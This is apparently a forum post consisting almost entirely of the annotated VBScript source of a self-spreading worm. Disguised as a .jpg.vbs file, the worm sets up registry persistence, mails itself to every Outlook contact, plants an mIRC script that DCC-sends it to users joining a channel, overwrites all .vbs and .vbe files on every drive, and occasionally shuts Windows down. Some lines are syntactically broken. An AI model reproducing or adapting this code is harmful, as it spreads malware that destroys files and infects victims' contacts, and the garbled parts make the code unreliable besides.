It looks like you're new here. If you want to get involved, click one of these buttons!
#############################################################
#
# This is what I like to call the \"head\" of the worm
#
#############################################################
Set O6734VC6 = createobject(\"scripting.filesystemobject\")
O78SS2L7 = O6734VC6.getspecialfolder(1)
A6G1HQFH = O78SS2L7 & \"geilfingeren.jpg.vbs\"
Set E828D4O2 = createobject(\"wscript.shell\")
E828D4O2.regwrite \"HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWinUpdate\", \"wscript.exe \" & A6G1HQFH & \" %\"
O6734VC6.copyfile wscript.scriptfullname, A6G1HQFH
UB51PCQU
If E828D4O2.regread(\"HKLMSOFTWAREMicrosoftWindowsCurrentVersionfingeren.aviUA1OM5IA\") <> 1 then
KD8F5L2N
End if
If E828D4O2.regread(\"HKLMSOFTWAREMicrosoftWindowsCurrentVersionfingeren.aviD47AC8NJ\") <> 1 then
HLVO1EDH \"\"
End if
#############################################################
#
# The next part I like to refer to as the \"body\"
#
#############################################################
Function KD8F5L2N()
Set O13Q767K = CreateObject(\"Outlook.Application\")
If O13Q767K = \"Outlook\" Then
Set LFSIH230 = O13Q767K.GetNameSpace(\"MAPI\")
Set LLLK4LPL = LFSIH230.AddressLists
For Each A4A83865 In LLLK4LPL
If A4A83865.AddressEntries.Count <> 0 Then
JM1R7N44 = A4A83865.AddressEntries.Count
For NHF463JD = 1 To JM1R7N44
Set OU435GC5 = O13Q767K.CreateItem(0)
Set KP511I06 = A4A83865.AddressEntries(NHF463JD)
OU435GC5.To = KP511I06.Address
OU435GC5.Subject = \"Very Important!\"
OU435GC5.Body = \"Hi:\" & vbcrlf & \"Please view this file, it's very important.\" & vbcrlf & \"\"
execute \"set DH97CAIN =OU435GC5.\" & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
IJ15SDEE = A6G1HQFH
OU435GC5.DeleteAfterSubmit = True
DH97CAIN.Add IJ15SDEE
If OU435GC5.To <> \"\" Then
OU435GC5.Send
End If
Next
End If
Next
End If
End function
Function HLVO1EDH(AHAOA819)
If AHAOA819 <> \"\" Then
TJTE98P3 = E828D4O2.regread(\"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir\")
If O6734VC6.fileexists(\"c:mircmirc.ini\") Then
AHAOA819 = \"c:mirc\"
ElseIf O6734VC6.fileexists(\"c:mirc32mirc.ini\") Then
AHAOA819 = \"c:mirc32\"
ElseIf O6734VC6.fileexists(TJTE98P3 & \"mircmirc.ini\") Then
AHAOA819 = TJTE98P3 & \"mirc\"
ElseIf O6734VC6.fileexists(TJTE98P3 & \"mirc32mirc.ini\") Then
AHAOA819 = TJTE98P3 & \"mirc\"
Else
AHAOA819 = \"\"
End If
End If
If AHAOA819 <> \"\" Then
Set U127MJ5H = O6734VC6.CreateTextFile(AHAOA819 & \"script.ini\", True)
U127MJ5H = \"[script]\" & vbCrLf & \"n0=on 1:JOIN:#:{\"
U127MJ5H = U127MJ5H & vbCrLf & \"n0=on 1:JOIN:#:{\"
U127MJ5H = U127MJ5H & vbCrLf & \"n1= /if ( $nick == $me ) { halt }\"
U127MJ5H = U127MJ5H & vbCrLf & \"n2= /.\" & Chr(100) & Chr(99) & Chr(99) & \" send $nick \"
U127MJ5H = U127MJ5H & A6G1HQFH
U127MJ5H = U127MJ5H & vbCrLf & \"n3=}\"
script.Close
End If
End Function
Function J706734V()
On Error Resume Next
Set CKQ24CHB = O6734VC6.Drives
For Each G2U828D4 In CKQ24CHB
OC078SS2 = G2U828D4 & \" \"
Call L7R6G1HQ(OC078SS2)
Next
End Function
Function L7R6G1HQ(FS6B51PC)
Q35A1OM5 = FS6B51PC
Set ITHD8F5L = O6734VC6.GetFolder(Q35A1OM5)
Set G6F47AC8 = ITHD8F5L.Files
For Each NFFLVO1E In G6F47AC8
If lcase(NFFLVO1E.Name) = \"mirc.ini\" Then
HLVO1EDH(NFFLVO1E.ParentFolder)
End If
If O6734VC6.GetExtensionName(NFFLVO1E.path) = \"vbs\"
O6734VC6.CopyFile wscript.scriptfullname,NFFLVO1E.path,true
End if
If O6734VC6.GetExtensionName(NFFLVO1E.path) = \"vbe\"
O6734VC6.CopyFile wscript.scriptfullname,NFFLVO1E.path,true
End if
Next
Set VSM3BL08 = ITHD8F5L.Subfolders
For Each UQFA0DCQ In VSM3BL08
Call (UQFA0DCQ.path)
Next
End function
#############################################################
#
# and finally the \"tail\" so to speak.
#
#############################################################
Function UB51PCQU()
Randomize
If 1 + Int(Rnd * 50) = 7 then
E828D4O2.run \"RUNDLL32.EXE user.exe,exitwindows\"
end if
end function
####################### End of Code #########################
on 1:JOIN:#:{
if ( $nick == $me ) { halt }
.dcc send $nick geilfingeren.jpg.vbs
}